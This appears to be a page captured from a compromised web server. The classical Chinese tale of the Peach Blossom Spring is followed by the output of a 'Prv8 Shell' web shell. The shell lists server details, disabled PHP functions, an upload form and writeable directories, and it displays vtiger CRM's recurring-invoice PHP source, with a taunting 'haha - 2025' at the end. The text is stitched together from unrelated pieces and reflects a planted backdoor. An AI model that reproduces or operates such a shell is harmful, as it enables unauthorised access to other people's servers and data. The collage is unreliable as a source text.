晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/cron/modules/SalesOrder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/public_html/crm/cron/modules/SalesOrder/RecurringInvoice.service
<?php
/*+**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.1
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 ************************************************************************************/

require_once('include/utils/utils.php');
require_once('include/logging.php');

global $adb, $log;
$log =& LoggerManager::getLogger('RecurringInvoice');
$log->debug("invoked RecurringInvoice");

$currentDate = date('Y-m-d');
$currentDateStrTime = strtotime($currentDate);

$sql="SELECT vtiger_salesorder.salesorderid, recurring_frequency, start_period, end_period, last_recurring_date,
		 payment_duration, invoice_status FROM vtiger_salesorder
		 INNER JOIN vtiger_crmentity ON vtiger_salesorder.salesorderid = vtiger_crmentity.crmid AND vtiger_crmentity.deleted = 0
		 INNER JOIN vtiger_invoice_recurring_info ON vtiger_salesorder.salesorderid = vtiger_invoice_recurring_info.salesorderid
		 WHERE DATE_FORMAT(start_period,'%Y-%m-%d') <= '$currentDate' AND DATE_FORMAT(end_period,'%Y-%m-%d') >= '$currentDate'";
$result = $adb->pquery($sql, array());
$no_of_salesorder = $adb->num_rows($result);

for($i=0; $i<$no_of_salesorder;$i++) {
	$salesorder_id		= $adb->query_result($result, $i, 'salesorderid');
	$start_period		= $adb->query_result($result, $i, 'start_period');
	$end_period			= $adb->query_result($result, $i, 'end_period');
	$recurring_date		= $adb->query_result($result, $i, 'last_recurring_date');
	$recurringFrequency = $adb->query_result($result, $i, 'recurring_frequency');

	if ($recurring_date == NULL  || $recurring_date == '' || $recurring_date == '0000-00-00') {
		$recurring_date = $start_period;
	}

	$endDateStrTime = strtotime($end_period);
	$recurringDateStrTime = strtotime($recurring_date);

	if($recurringDateStrTime < $currentDateStrTime) {
		$recurringDatesList = array();
		$nextRecurringDate = $validNextRecurringDate = $recurring_date;

		while(strtotime($validNextRecurringDate) <= $currentDateStrTime && $currentDateStrTime <= $endDateStrTime) {
			$recurringDatesList[]	= $validNextRecurringDate;
			$nextRecurringDatesInfo = getRecurringDate($nextRecurringDate, $recurringFrequency);

			//Updating the existing values
			$validNextRecurringDate = $nextRecurringDatesInfo['validDate'];
			$nextRecurringDate		= $nextRecurringDatesInfo['nextRecurringDate'];
		}

		if ($recurringDatesList) {
			foreach ($recurringDatesList as $recurringDate) {
				createInvoice($salesorder_id, $recurringDate);
			}
			$adb->pquery('UPDATE vtiger_invoice_recurring_info SET last_recurring_date = ? WHERE salesorderid = ?', array($validNextRecurringDate, $salesorder_id));
		}

	} elseif($recurringDateStrTime == $currentDateStrTime && $recurringDateStrTime <= $endDateStrTime) {
		createInvoice($salesorder_id, $recurringDate);

		$nextRecurringDatesInfo = getRecurringDate($recurring_date, $recurringFrequency);
		$nextRecurringDate = $nextRecurringDatesInfo['validDate'];
		$adb->pquery('UPDATE vtiger_invoice_recurring_info SET last_recurring_date = ? WHERE salesorderid = ?', array($nextRecurringDate, $salesorder_id));
	}
}

/* Function to create a new Invoice using the given Sales Order id */
function createInvoice($salesorder_id, $recurringDate = false) {
	require_once('include/utils/utils.php');
	require_once('modules/SalesOrder/SalesOrder.php');
	require_once('modules/Invoice/Invoice.php');
	require_once('modules/Users/Users.php');

	global $log, $adb;
	global $current_user;

	// Payment duration in days
	$payment_duration_values = Array(
        'net 01 day' => '1',
        'net 05 days' => '5',
        'net 07 days' => '7',
        'net 10 days' => '10',
        'net 15 days' => '15',
		'net 30 days' => '30',
		'net 45 days' => '45',
		'net 60 days' => '60'
	);

	if (!$recurringDate) {
		$recurringDate = date('Y-m-d');
	}

	if(!$current_user) {
		$current_user = Users::getActiveAdminUser();
	}
	$so_focus = CRMEntity::getInstance('SalesOrder');
	$so_focus->id = $salesorder_id;
	$so_focus->retrieve_entity_info($salesorder_id,"SalesOrder");
	foreach($so_focus->column_fields as $fieldname=>$value) {
		$so_focus->column_fields[$fieldname] = decode_html($value);
	}

	$focus = new Invoice();
	// This will only fill in the basic columns from SO to Invoice and also Update the SO id in new Invoice
	$focus = getConvertSoToInvoice($focus,$so_focus,$salesorder_id);

	// Pick up the Payment due date based on the Configuration in SO
	$payment_duration = $so_focus->column_fields['payment_duration'];
	$due_duration = $payment_duration_values[trim(strtolower($payment_duration))];

	// Cleanup focus object, to duplicate the Invoice.
	$focus->id = '';
	$focus->mode = '';
	$focus->column_fields['invoicestatus'] = $so_focus->column_fields['invoicestatus'];
	$focus->column_fields['invoicedate'] = $recurringDate;

	list($y, $m, $d) = explode('-', $recurringDate);
	$focus->column_fields['duedate'] = date('Y-m-d', mktime(0, 0, 0, $m, $d + $due_duration, $y));

	// Additional SO fields to copy -> Invoice field name mapped to equivalent SO field name
	$invoice_so_fields = Array (
		'txtAdjustment' => 'txtAdjustment',
		'hdnSubTotal' => 'hdnSubTotal',
		'hdnGrandTotal' => 'hdnGrandTotal',
		'hdnTaxType' => 'hdnTaxType',
		'hdnDiscountPercent' => 'hdnDiscountPercent',
		'hdnDiscountAmount' => 'hdnDiscountAmount',
		'hdnS_H_Amount' => 'hdnS_H_Amount',
		'assigned_user_id' => 'assigned_user_id',
		'currency_id' => 'currency_id',
		'conversion_rate' => 'conversion_rate',
		'balance' => 'hdnGrandTotal'
	);
	foreach($invoice_so_fields as $invoice_field => $so_field) {
		$focus->column_fields[$invoice_field] = $so_focus->column_fields[$so_field];
	}
	$focus->_salesorderid = $salesorder_id;
	$focus->_recurring_mode = 'recurringinvoice_from_so';
	try {
		$focus->save("Invoice");
	} catch (Exception $e) {
		//TODO - Review
	}
}

function getRecurringDate($recurringDate, $recurringFrequency) {
	$currentDate = date('Y-m-d');
	list($y, $m, $d) = explode('-', $recurringDate);

	$period = false;
	switch(strtolower($recurringFrequency)) {
		case 'daily'		:	$period = '+1 day';		break;
		case 'weekly'		:	$period = '+1 week';	break;

		case 'monthly'		:	$m = $m + 1;			break;
		case 'quarterly'	:	$m = $m + 3;			break;
		case 'half-yearly'	:	$m = $m + 6;			break;
		case 'yearly'		:	$y = $y + 1;			break;

		default				:	$period = '';
	}

	if ($period !== false) {
		$nextRecurringDate = $validNextRecurringDate = date('Y-m-d', strtotime($period, mktime(0, 0, 0, $m, $d, $y)));
	} else {

		if ($m > 12) {
			$m = $m - 12;
			$y = $y + 1;
		}
		if (strlen($m) === 1) {
			$m = "0$m";
		}

		$nextRecurringDate = $validNextRecurringDate = "$y-$m-$d";
		if (!checkdate($m, $d, $y)) {
			$validNextRecurringDate = date('Y-m-d', mktime(0, 0, 0, $m, cal_days_in_month(CAL_GREGORIAN, $m, $y), $y));
		}
	}

	return array('validDate' => $validNextRecurringDate, 'nextRecurringDate' => $nextRecurringDate);
}
?>

haha - 2025